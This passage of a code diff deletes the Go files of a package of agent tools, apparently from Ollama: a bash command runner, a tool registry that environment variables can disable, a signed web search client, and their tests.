-					t.Error("expected output to not be truncated")
-				}
-			}
-		})
-	}
-}

x/tools/bash.go

@@ -1,114 +0,0 @@
-package tools
-
-import (
-	"bytes"
-	"context"
-	"fmt"
-	"os/exec"
-	"strings"
-	"time"
-
-	"github.com/ollama/ollama/api"
-)
-
-const (
-	// bashTimeout is the maximum execution time for a command.
-	bashTimeout = 60 * time.Second
-	// maxOutputSize is the maximum output size in bytes.
-	maxOutputSize = 50000
-)
-
-// BashTool implements shell command execution.
-type BashTool struct{}
-
-// Name returns the tool name.
-func (b *BashTool) Name() string {
-	return "bash"
-}
-
-// Description returns a description of the tool.
-func (b *BashTool) Description() string {
-	return "Execute a bash command on the system. Use this to run shell commands, check files, run programs, etc."
-}
-
-// Schema returns the tool's parameter schema.
-func (b *BashTool) Schema() api.ToolFunction {
-	props := api.NewToolPropertiesMap()
-	props.Set("command", api.ToolProperty{
-		Type:        api.PropertyType{"string"},
-		Description: "The bash command to execute",
-	})
-	return api.ToolFunction{
-		Name:        b.Name(),
-		Description: b.Description(),
-		Parameters: api.ToolFunctionParameters{
-			Type:       "object",
-			Properties: props,
-			Required:   []string{"command"},
-		},
-	}
-}
-
-// Execute runs the bash command.
-func (b *BashTool) Execute(args map[string]any) (string, error) {
-	command, ok := args["command"].(string)
-	if !ok || command == "" {
-		return "", fmt.Errorf("command parameter is required")
-	}
-
-	// Create context with timeout
-	ctx, cancel := context.WithTimeout(context.Background(), bashTimeout)
-	defer cancel()
-
-	// Execute command
-	cmd := exec.CommandContext(ctx, "bash", "-c", command)
-
-	var stdout, stderr bytes.Buffer
-	cmd.Stdout = &stdout
-	cmd.Stderr = &stderr
-
-	err := cmd.Run()
-
-	// Build output
-	var sb strings.Builder
-
-	// Add stdout
-	if stdout.Len() > 0 {
-		output := stdout.String()
-		if len(output) > maxOutputSize {
-			output = output[:maxOutputSize] + "\n... (output truncated)"
-		}
-		sb.WriteString(output)
-	}
-
-	// Add stderr if present
-	if stderr.Len() > 0 {
-		stderrOutput := stderr.String()
-		if len(stderrOutput) > maxOutputSize {
-			stderrOutput = stderrOutput[:maxOutputSize] + "\n... (stderr truncated)"
-		}
-		if sb.Len() > 0 {
-			sb.WriteString("\n")
-		}
-		sb.WriteString("stderr:\n")
-		sb.WriteString(stderrOutput)
-	}
-
-	// Handle errors
-	if err != nil {
-		if ctx.Err() == context.DeadlineExceeded {
-			return sb.String() + "\n\nError: command timed out after 60 seconds", nil
-		}
-		// Include exit code in output but don't return as error
-		if exitErr, ok := err.(*exec.ExitError); ok {
-			return sb.String() + fmt.Sprintf("\n\nExit code: %d", exitErr.ExitCode()), nil
-		}
-		return sb.String(), fmt.Errorf("executing command: %w", err)
-	}
-
-	if sb.Len() == 0 {
-		return "(no output)", nil
-	}
-
-	return sb.String(), nil
-}

x/tools/registry.go

@@ -1,104 +0,0 @@
-// Package tools provides built-in tool implementations for the agent loop.
-package tools
-
-import (
-	"fmt"
-	"os"
-	"sort"
-
-	"github.com/ollama/ollama/api"
-)
-
-// Tool defines the interface for agent tools.
-type Tool interface {
-	// Name returns the tool's unique identifier.
-	Name() string
-	// Description returns a human-readable description of what the tool does.
-	Description() string
-	// Schema returns the tool's parameter schema for the LLM.
-	Schema() api.ToolFunction
-	// Execute runs the tool with the given arguments.
-	Execute(args map[string]any) (string, error)
-}
-
-// Registry manages available tools.
-type Registry struct {
-	tools map[string]Tool
-}
-
-// NewRegistry creates a new tool registry.
-func NewRegistry() *Registry {
-	return &Registry{
-		tools: make(map[string]Tool),
-	}
-}
-
-// Register adds a tool to the registry.
-func (r *Registry) Register(tool Tool) {
-	r.tools[tool.Name()] = tool
-}
-
-// Get retrieves a tool by name.
-func (r *Registry) Get(name string) (Tool, bool) {
-	tool, ok := r.tools[name]
-	return tool, ok
-}
-
-// Tools returns all registered tools in Ollama API format, sorted by name.
-func (r *Registry) Tools() api.Tools {
-	// Get sorted names for deterministic ordering
-	names := make([]string, 0, len(r.tools))
-	for name := range r.tools {
-		names = append(names, name)
-	}
-	sort.Strings(names)
-
-	var tools api.Tools
-	for _, name := range names {
-		tool := r.tools[name]
-		tools = append(tools, api.Tool{
-			Type:     "function",
-			Function: tool.Schema(),
-		})
-	}
-	return tools
-}
-
-// Execute runs a tool call and returns the result.
-func (r *Registry) Execute(call api.ToolCall) (string, error) {
-	tool, ok := r.tools[call.Function.Name]
-	if !ok {
-		return "", fmt.Errorf("unknown tool: %s", call.Function.Name)
-	}
-	return tool.Execute(call.Function.Arguments.ToMap())
-}
-
-// Names returns the names of all registered tools, sorted alphabetically.
-func (r *Registry) Names() []string {
-	names := make([]string, 0, len(r.tools))
-	for name := range r.tools {
-		names = append(names, name)
-	}
-	sort.Strings(names)
-	return names
-}
-
-// Count returns the number of registered tools.
-func (r *Registry) Count() int {
-	return len(r.tools)
-}
-
-// DefaultRegistry creates a registry with all built-in tools.
-// Tools can be disabled via environment variables:
-// - OLLAMA_AGENT_DISABLE_WEBSEARCH=1 disables web_search
-// - OLLAMA_AGENT_DISABLE_BASH=1 disables bash
-func DefaultRegistry() *Registry {
-	r := NewRegistry()
-	if os.Getenv("OLLAMA_AGENT_DISABLE_WEBSEARCH") == "" {
-		r.Register(&WebSearchTool{})
-	}
-	if os.Getenv("OLLAMA_AGENT_DISABLE_BASH") == "" {
-		r.Register(&BashTool{})
-	}
-	return r
-}

x/tools/registry_test.go

@@ -1,194 +0,0 @@
-package tools
-
-import (
-	"testing"
-
-	"github.com/ollama/ollama/api"
-)
-
-func TestRegistry_Register(t *testing.T) {
-	r := NewRegistry()
-
-	r.Register(&BashTool{})
-	r.Register(&WebSearchTool{})
-
-	if r.Count() != 2 {
-		t.Errorf("expected 2 tools, got %d", r.Count())
-	}
-
-	names := r.Names()
-	if len(names) != 2 {
-		t.Errorf("expected 2 names, got %d", len(names))
-	}
-}
-
-func TestRegistry_Get(t *testing.T) {
-	r := NewRegistry()
-	r.Register(&BashTool{})
-
-	tool, ok := r.Get("bash")
-	if !ok {
-		t.Fatal("expected to find bash tool")
-	}
-
-	if tool.Name() != "bash" {
-		t.Errorf("expected name 'bash', got '%s'", tool.Name())
-	}
-
-	_, ok = r.Get("nonexistent")
-	if ok {
-		t.Error("expected not to find nonexistent tool")
-	}
-}
-
-func TestRegistry_Tools(t *testing.T) {
-	r := NewRegistry()
-	r.Register(&BashTool{})
-	r.Register(&WebSearchTool{})
-
-	tools := r.Tools()
-	if len(tools) != 2 {
-		t.Errorf("expected 2 tools, got %d", len(tools))
-	}
-
-	for _, tool := range tools {
-		if tool.Type != "function" {
-			t.Errorf("expected type 'function', got '%s'", tool.Type)
-		}
-	}
-}
-
-func TestRegistry_Execute(t *testing.T) {
-	r := NewRegistry()
-	r.Register(&BashTool{})
-
-	// Test successful execution
-	args := api.NewToolCallFunctionArguments()
-	args.Set("command", "echo hello")
-	result, err := r.Execute(api.ToolCall{
-		Function: api.ToolCallFunction{
-			Name:      "bash",
-			Arguments: args,
-		},
-	})
-	if err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-	if result != "hello\n" {
-		t.Errorf("expected 'hello\\n', got '%s'", result)
-	}
-
-	// Test unknown tool
-	_, err = r.Execute(api.ToolCall{
-		Function: api.ToolCallFunction{
-			Name:      "unknown",
-			Arguments: api.NewToolCallFunctionArguments(),
-		},
-	})
-	if err == nil {
-		t.Error("expected error for unknown tool")
-	}
-}
-
-func TestDefaultRegistry(t *testing.T) {
-	r := DefaultRegistry()
-
-	if r.Count() != 2 {
-		t.Errorf("expected 2 tools in default registry, got %d", r.Count())
-	}
-
-	_, ok := r.Get("bash")
-	if !ok {
-		t.Error("expected bash tool in default registry")
-	}
-
-	_, ok = r.Get("web_search")
-	if !ok {
-		t.Error("expected web_search tool in default registry")
-	}
-}
-
-func TestDefaultRegistry_DisableWebsearch(t *testing.T) {
-	t.Setenv("OLLAMA_AGENT_DISABLE_WEBSEARCH", "1")
-
-	r := DefaultRegistry()
-
-	if r.Count() != 1 {
-		t.Errorf("expected 1 tool with websearch disabled, got %d", r.Count())
-	}
-
-	_, ok := r.Get("bash")
-	if !ok {
-		t.Error("expected bash tool in registry")
-	}
-
-	_, ok = r.Get("web_search")
-	if ok {
-		t.Error("expected web_search to be disabled")
-	}
-}
-
-func TestDefaultRegistry_DisableBash(t *testing.T) {
-	t.Setenv("OLLAMA_AGENT_DISABLE_BASH", "1")
-
-	r := DefaultRegistry()
-
-	if r.Count() != 1 {
-		t.Errorf("expected 1 tool with bash disabled, got %d", r.Count())
-	}
-
-	_, ok := r.Get("web_search")
-	if !ok {
-		t.Error("expected web_search tool in registry")
-	}
-
-	_, ok = r.Get("bash")
-	if ok {
-		t.Error("expected bash to be disabled")
-	}
-}
-
-func TestDefaultRegistry_DisableBoth(t *testing.T) {
-	t.Setenv("OLLAMA_AGENT_DISABLE_WEBSEARCH", "1")
-	t.Setenv("OLLAMA_AGENT_DISABLE_BASH", "1")
-
-	r := DefaultRegistry()
-
-	if r.Count() != 0 {
-		t.Errorf("expected 0 tools with both disabled, got %d", r.Count())
-	}
-}
-
-func TestBashTool_Schema(t *testing.T) {
-	tool := &BashTool{}
-
-	schema := tool.Schema()
-	if schema.Name != "bash" {
-		t.Errorf("expected name 'bash', got '%s'", schema.Name)
-	}
-
-	if schema.Parameters.Type != "object" {
-		t.Errorf("expected parameters type 'object', got '%s'", schema.Parameters.Type)
-	}
-
-	if _, ok := schema.Parameters.Properties.Get("command"); !ok {
-		t.Error("expected 'command' property in schema")
-	}
-}
-
-func TestWebSearchTool_Schema(t *testing.T) {
-	tool := &WebSearchTool{}
-
-	schema := tool.Schema()
-	if schema.Name != "web_search" {
-		t.Errorf("expected name 'web_search', got '%s'", schema.Name)
-	}
-
-	if schema.Parameters.Type != "object" {
-		t.Errorf("expected parameters type 'object', got '%s'", schema.Parameters.Type)
-	}
-
-	if _, ok := schema.Parameters.Properties.Get("query"); !ok {
-		t.Error("expected 'query' property in schema")
-	}
-}

x/tools/websearch.go

@@ -1,175 +0,0 @@
-package tools
-
-import (
-	"bytes"
-	"context"
-	"encoding/json"
-	"errors"
-	"fmt"
-	"io"
-	"net/http"
-	"net/url"
-	"strconv"
-	"strings"
-	"time"
-
-	"github.com/ollama/ollama/api"
-	"github.com/ollama/ollama/auth"
-)
-
-const (
-	webSearchAPI     = "https://ollama.com/api/web_search"
-	webSearchTimeout = 15 * time.Second
-)
-
-// ErrWebSearchAuthRequired is returned when web search requires authentication
-var ErrWebSearchAuthRequired = errors.New("web search requires authentication")
-
-// WebSearchTool implements web search using Ollama's hosted API.
-type WebSearchTool struct{}
-
-// Name returns the tool name.
-func (w *WebSearchTool) Name() string {
-	return "web_search"
-}
-
-// Description returns a description of the tool.
-func (w *WebSearchTool) Description() string {
-	return "Search the web for current information. Use this when you need up-to-date information that may not be in your training data."
-}
-
-// Schema returns the tool's parameter schema.
-func (w *WebSearchTool) Schema() api.ToolFunction {
-	props := api.NewToolPropertiesMap()
-	props.Set("query", api.ToolProperty{
-		Type:        api.PropertyType{"string"},
-		Description: "The search query to look up on the web",
-	})
-	return api.ToolFunction{
-		Name:        w.Name(),
-		Description: w.Description(),
-		Parameters: api.ToolFunctionParameters{
-			Type:       "object",
-			Properties: props,
-			Required:   []string{"query"},
-		},
-	}
-}
-
-// webSearchRequest is the request body for the web search API.
-type webSearchRequest struct {
-	Query      string `json:"query"`
-	MaxResults int    `json:"max_results,omitempty"`
-}
-
-// webSearchResponse is the response from the web search API.
-type webSearchResponse struct {
-	Results []webSearchResult `json:"results"`
-}
-
-// webSearchResult is a single search result.
-type webSearchResult struct {
-	Title   string `json:"title"`
-	URL     string `json:"url"`
-	Content string `json:"content"`
-}
-
-// Execute performs the web search.
-// Uses Ollama key signing for authentication - this makes requests via ollama.com API.
-func (w *WebSearchTool) Execute(args map[string]any) (string, error) {
-	query, ok := args["query"].(string)
-	if !ok || query == "" {
-		return "", fmt.Errorf("query parameter is required")
-	}
-
-	// Prepare request
-	reqBody := webSearchRequest{
-		Query:      query,
-		MaxResults: 5,
-	}
-
-	jsonBody, err := json.Marshal(reqBody)
-	if err != nil {
-		return "", fmt.Errorf("marshaling request: %w", err)
-	}
-
-	// Parse URL and add timestamp for signing
-	searchURL, err := url.Parse(webSearchAPI)
-	if err != nil {
-		return "", fmt.Errorf("parsing search URL: %w", err)
-	}
-
-	q := searchURL.Query()
-	q.Add("ts", strconv.FormatInt(time.Now().Unix(), 10))
-	searchURL.RawQuery = q.Encode()
-
-	// Sign the request using Ollama key (~/.ollama/id_ed25519)
-	// This authenticates with ollama.com using the local signing key
-	ctx := context.Background()
-	data := fmt.Appendf(nil, "%s,%s", http.MethodPost, searchURL.RequestURI())
-	signature, err := auth.Sign(ctx, data)
-	if err != nil {
-		return "", fmt.Errorf("signing request: %w", err)
-	}
-
-	req, err := http.NewRequestWithContext(ctx, http.MethodPost, searchURL.String(), bytes.NewBuffer(jsonBody))
-	if err != nil {
-		return "", fmt.Errorf("creating request: %w", err)
-	}
-
-	req.Header.Set("Content-Type", "application/json")
-	if signature != "" {
-		req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", signature))
-	}
-
-	// Send request
-	client := &http.Client{Timeout: webSearchTimeout}
-	resp, err := client.Do(req)
-	if err != nil {
-		return "", fmt.Errorf("sending request: %w", err)
-	}
-	defer resp.Body.Close()
-
-	body, err := io.ReadAll(resp.Body)
-	if err != nil {
-		return "", fmt.Errorf("reading response: %w", err)
-	}
-
-	if resp.StatusCode == http.StatusUnauthorized {
-		return "", ErrWebSearchAuthRequired
-	}
-	if resp.StatusCode != http.StatusOK {
-		return "", fmt.Errorf("web search API returned status %d: %s", resp.StatusCode, string(body))
-	}
-
-	// Parse response
-	var searchResp webSearchResponse
-	if err := json.Unmarshal(body, &searchResp); err != nil {
-		return "", fmt.Errorf("parsing response: %w", err)
-	}
-
-	// Format results
-	if len(searchResp.Results) == 0 {
-		return "No results found for query: " + query, nil
-	}
-
-	var sb strings.Builder
-	sb.WriteString(fmt.Sprintf("Search results for: %s\n\n", query))
-
-	for i, result := range searchResp.Results {
-		sb.WriteString(fmt.Sprintf("%d. %s\n", i+1, result.Title))
-		sb.WriteString(fmt.Sprintf("   URL: %s\n", result.URL))
-		if result.Content != "" {
-			// Truncate long content (UTF-8 safe)
-			content := result.Content
-			runes := []rune(content)
-			if len(runes) > 300 {
-				content = string(runes[:300]) + "..."
-			}
-			sb.WriteString(fmt.Sprintf("   %s\n", content))
-		}
-		sb.WriteString("\n")
-	}
-
-	return sb.String(), nil
-}

x/tools/websearch_test.go

@@ -1,58 +0,0 @@
-package tools
-
-import (
-	"errors"
-	"testing"
-)
-
-func TestWebSearchTool_Name(t *testing.T) {
-	tool := &WebSearchTool{}
-	if tool.Name() != "web_search" {
-		t.Errorf("expected name 'web_search', got '%s'", tool.Name())
-	}
-}
-
-func TestWebSearchTool_Description(t *testing.T) {
-	tool := &WebSearchTool{}
-	if tool.Description() == "" {
-		t.Error("expected non-empty description")
-	}
-}
-
-func TestWebSearchTool_Execute_MissingQuery(t *testing.T) {
-	tool := &WebSearchTool{}
-
-	// Test with no query
-	_, err := tool.Execute(map[string]any{})
-	if err == nil {
-		t.Error("expected error for missing query")
-	}
-
-	// Test with empty query
-	_, err = tool.Execute(map[string]any{"query": ""})
-	if err == nil {
-		t.Error("expected error for empty query")
-	}
-}
-
-func TestErrWebSearchAuthRequired(t *testing.T) {
-	// Test that the error type exists and can be checked with errors.Is
-	err := ErrWebSearchAuthRequired
-	if err == nil {
-		t.Fatal("ErrWebSearchAuthRequired should not be nil")
-	}
-
-	if err.Error() != "web search requires authentication" {
-		t.Errorf("unexpected error message: %s", err.Error())
-	}
-
-	// Test that errors.Is works
-	wrappedErr := errors.New("wrapped: " + err.Error())
-	if errors.Is(wrappedErr, ErrWebSearchAuthRequired) {
-		t.Error("wrapped error should not match with errors.Is")
-	}
-
-	if !errors.Is(ErrWebSearchAuthRequired, ErrWebSearchAuthRequired) {
-		t.Error("ErrWebSearchAuthRequired should match itself with errors.Is")
-	}
-}